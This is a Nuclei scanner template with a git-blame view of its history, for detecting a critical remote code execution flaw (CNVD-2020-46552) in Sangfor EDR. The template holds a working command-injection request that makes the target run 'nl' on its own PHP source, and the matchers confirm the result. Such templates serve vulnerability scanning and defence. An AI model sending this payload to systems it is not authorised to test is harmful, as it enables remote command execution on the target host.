nuclei-templates/http/cnvd/2020/CNVD-2020-46552.yaml

id: CNVD-2020-46552

info:
  name: Sangfor EDR - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: Sangfor Endpoint Monitoring and Response Platform (EDR) contains a remote code execution vulnerability. An attacker could exploit this vulnerability by constructing an HTTP request which could execute arbitrary commands on the target host.
  reference:
    - https://www.modb.pro/db/144475
    - https://blog.csdn.net/bigblue00/article/details/108434009
    - https://cn-sec.com/archives/721509.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: cnvd,cnvd2020,sangfor,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/tool/log/c.php?strip_slashes=printf&host=nl+c.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "$show_input = function($info)")'
          - 'contains(body, "$strip_slashes($host)")'
          - 'contains(body, "Log Helper")'
          - 'status_code == 200'
        condition: and

# digest: 4a0a0047304502202862eba6aef622b1dae0bcb4e023f3454a7d9bafa253edded09bef38bbf64713022100e4f0118515d3ce26dfb977df1e3bb9a11401d1b113b5842311bcadea68b213bc:922c64590222798bb761d5b6d8e72950
Create CNVD-2020-46552.yaml 2022-05-14 11:05:15 +00:00			`id: CNVD-2020-46552`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00
Create CNVD-2020-46552.yaml 2022-05-14 11:05:15 +00:00			`info:`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`name: Sangfor EDR - Remote Code Execution`
Create CNVD-2020-46552.yaml 2022-05-14 11:05:15 +00:00			`author: ritikchaddha`
			`severity: critical`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`description: Sangfor Endpoint Monitoring and Response Platform (EDR) contains a remote code execution vulnerability. An attacker could exploit this vulnerability by constructing an HTTP request which could execute arbitrary commands on the target host.`
Create CNVD-2020-46552.yaml 2022-05-14 11:05:15 +00:00			`reference:`
			`- https://www.modb.pro/db/144475`
			`- https://blog.csdn.net/bigblue00/article/details/108434009`
			`- https://cn-sec.com/archives/721509.html`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
templateman update 2023-10-14 11:27:55 +00:00			`cvss-score: 10`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`cwe-id: CWE-77`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
templateman update 2023-10-14 11:27:55 +00:00			`tags: cnvd,cnvd2020,sangfor,rce`
Create CNVD-2020-46552.yaml 2022-05-14 11:05:15 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CNVD-2020-46552.yaml 2022-05-14 11:05:15 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/tool/log/c.php?strip_slashes=printf&host=nl+c.php"`
Update CNVD-2020-46552.yaml 2022-05-14 16:53:47 +00:00
Create CNVD-2020-46552.yaml 2022-05-14 11:05:15 +00:00			`matchers:`
Update CNVD-2020-46552.yaml 2022-05-14 16:51:49 +00:00			`- type: dsl`
			`dsl:`
			`- 'contains(body, "$show_input = function($info)")'`
			`- 'contains(body, "$strip_slashes($host)")'`
Update CNVD-2020-46552.yaml 2022-05-15 10:52:18 +00:00			`- 'contains(body, "Log Helper")'`
Update CNVD-2020-46552.yaml 2022-05-14 16:51:49 +00:00			`- 'status_code == 200'`
templateman update 2023-10-14 11:27:55 +00:00			`condition: and`
TemplateMan Update [Fri Oct 20 11:41:12 UTC 2023] :robot: 2023-10-20 11:41:13 +00:00
			`# digest: 4a0a0047304502202862eba6aef622b1dae0bcb4e023f3454a7d9bafa253edded09bef38bbf64713022100e4f0118515d3ce26dfb977df1e3bb9a11401d1b113b5842311bcadea68b213bc:922c64590222798bb761d5b6d8e72950`